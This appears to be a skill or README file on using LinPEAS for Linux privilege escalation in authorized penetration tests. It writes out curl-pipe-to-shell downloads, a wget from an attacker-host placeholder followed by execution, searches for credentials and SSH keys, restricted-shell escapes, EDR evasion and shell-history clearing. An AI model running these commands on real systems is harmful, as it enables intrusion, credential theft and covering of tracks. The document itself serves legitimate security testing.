agentsecops/privesc-linpeas

LinPEAS Linux Privilege Escalation

Overview

LinPEAS (Linux Privilege Escalation Awesome Script) is the most comprehensive automated enumeration tool for identifying privilege escalation vectors on Linux systems. It checks 200+ attack vectors, color-codes findings by severity, and maps results to GTFOBins and MITRE ATT&CK.

IMPORTANT: Use only on systems where you have explicit written authorization. Unauthorized use constitutes computer fraud. All actions should be conducted within defined engagement scope.

Quick Start

# Download and run LinPEAS directly (no-install, in-memory)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output for analysis
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt

# Stealth / faster scan (skips time-consuming checks)
/tmp/linpeas.sh -s 2>&1 | tee /tmp/linpeas_fast.txt

Script variants (choose based on environment):

• linpeas.sh — default, includes linux exploit suggester
• linpeas_fat.sh — embeds third-party tools (no internet needed on target)
• linpeas_small.sh — essential checks only, smallest footprint

Use scripts/linpeas_runner.py for structured JSON output and automated triage.

Core Workflow

Post-Exploitation Enumeration Workflow

Progress: [ ] 1. Verify authorization and document scope [ ] 2. Transfer or fetch LinPEAS to target (curl, wget, or scp) [ ] 3. Execute scan: ./linpeas.sh -a 2>&1 | tee linpeas_output.txt [ ] 4. Triage findings by severity (RED = critical, YELLOW = medium) [ ] 5. Validate top vectors manually before exploitation [ ] 6. Attempt privilege escalation using highest-confidence vector [ ] 7. Verify privilege level: id && whoami [ ] 8. Document exploitation path and clean up artifacts

Severity Color Guide

| Color | Meaning | |---------|------------------------------------------------------| | RED+ | 95% escalation probability (exploit immediately) | | RED | High confidence vector (validate then exploit) | | YELLOW | Interesting finding (requires manual review) | | GREEN | Low-risk information |

Targeted Scans (Faster Execution)

# SUID/SGID binaries only
find / -perm -4000 -o -perm -2000 2>/dev/null | xargs ls -la

# Sudo permissions
sudo -l

# Running processes and services
ps aux && systemctl list-units --type=service --state=running

# Capabilities
/usr/sbin/getcap -r / 2>/dev/null

# Writable paths in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type f 2>/dev/null

# Cron jobs
cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null

# Network connections and open ports
ss -tulpn; netstat -tulpn 2>/dev/null

Key Attack Vectors

See references/privesc_vectors.md for detailed exploitation steps per vector.

Tier 1: High-Confidence Escalation Paths

Sudo Misconfigurations

sudo -l
# Look for: NOPASSWD entries, unrestricted shells, wildcard abuse
# GTFOBins: https://gtfobins.github.io/

SUID Binaries

find / -perm -u=s -type f 2>/dev/null
# Cross-reference with GTFOBins for exploitation techniques

Writable /etc/passwd or /etc/shadow

ls -la /etc/passwd /etc/shadow
# If writable: add root user with known hash

Kernel Exploits

uname -r && cat /etc/os-release
# Use linpeas output: check CVE suggestions for kernel version

Tier 2: Credential Hunting

# Bash history
cat ~/.bash_history; find / -name ".bash_history" 2>/dev/null | xargs cat

# Config files with passwords
grep -r "password\|passwd\|secret\|token" /etc /opt /var/www 2>/dev/null --include="*.conf" --include="*.cfg" --include="*.ini"

# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null

Tier 3: Container / Environment Breakout

# Detect container environment
cat /proc/1/cgroup | grep -i docker
ls /.dockerenv 2>/dev/null
env | grep -i kube

# Check for privileged container
cat /proc/self/status | grep CapEff
# Full capabilities (0000003fffffffff) = privileged container

See references/mitre_mapping.md for MITRE ATT&CK technique mappings.

Security Considerations

• Authorization: Obtain explicit written authorization before running. Document engagement scope.
• Sensitive Data: LinPEAS output contains credentials, hashes, and keys — treat as highly sensitive. Encrypt at rest, delete after engagement.
• Audit Logging: Log all commands executed with timestamps in engagement notes. Some blue teams monitor for LinPEAS signatures.
• OPSEC: In red team engagements, consider evasion — see references for obfuscation techniques. Run from tmpfs (/dev/shm) to avoid disk artifacts.
• Cleanup: Remove LinPEAS binary and output files after the engagement. Clear relevant shell history entries.
• Compliance: Activities must comply with engagement rules of engagement, SOW, and applicable laws (CFAA, Computer Misuse Act, etc.).

Bundled Resources

Scripts (scripts/)

• linpeas_runner.py — Automates LinPEAS fetch, execution, output parsing, and JSON report generation with severity triage

References (references/)

• privesc_vectors.md — Detailed exploitation steps for common Linux privesc vectors (SUID, sudo, crons, capabilities, NFS, LD_PRELOAD, PATH hijacking)
• mitre_mapping.md — MITRE ATT&CK technique mappings for each enumerated vector

Assets (assets/)

• linpeas_report_template.md — Engagement report template for documenting privilege escalation findings

Integration Points

• Post-Metasploit: Run after initial Meterpreter shell via shell command or post/multi/manage/shell_to_meterpreter
• Post-Nmap: Use after recon-nmap identifies live Linux targets
• CI/CD Security Testing: Integrate into automated purple team pipelines to validate privilege escalation mitigations
• Reporting: Feed linpeas_runner.py JSON output into CVSS scoring and risk documentation

Troubleshooting

Issue: AV or EDR blocks LinPEAS execution

Solution: Use the Python/PSPY alternative or compile a custom version.

# Run from memory (no disk write)
curl -sL <url> | bash

# Or use pspy for process monitoring only
./pspy64

Issue: Restricted shell (rbash, no /bin/bash)

Solution: Escape restricted shell before running enumeration.

# Try common bypasses
python3 -c 'import pty; pty.spawn("/bin/bash")'
vi -c ':!/bin/bash'
awk 'BEGIN {system("/bin/bash")}'

Issue: No internet access on target

Solution: Transfer LinPEAS via the attacker machine.

# On attacker (Python HTTP server)
python3 -m http.server 8080

# On target
wget http://<attacker-ip>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh

References

• LinPEAS GitHub
• HackTricks Linux Privesc
• GTFOBins
• MITRE ATT&CK TA0004 Privilege Escalation
• MITRE ATT&CK TA0007 Discovery
• PayloadsAllTheThings Linux Privesc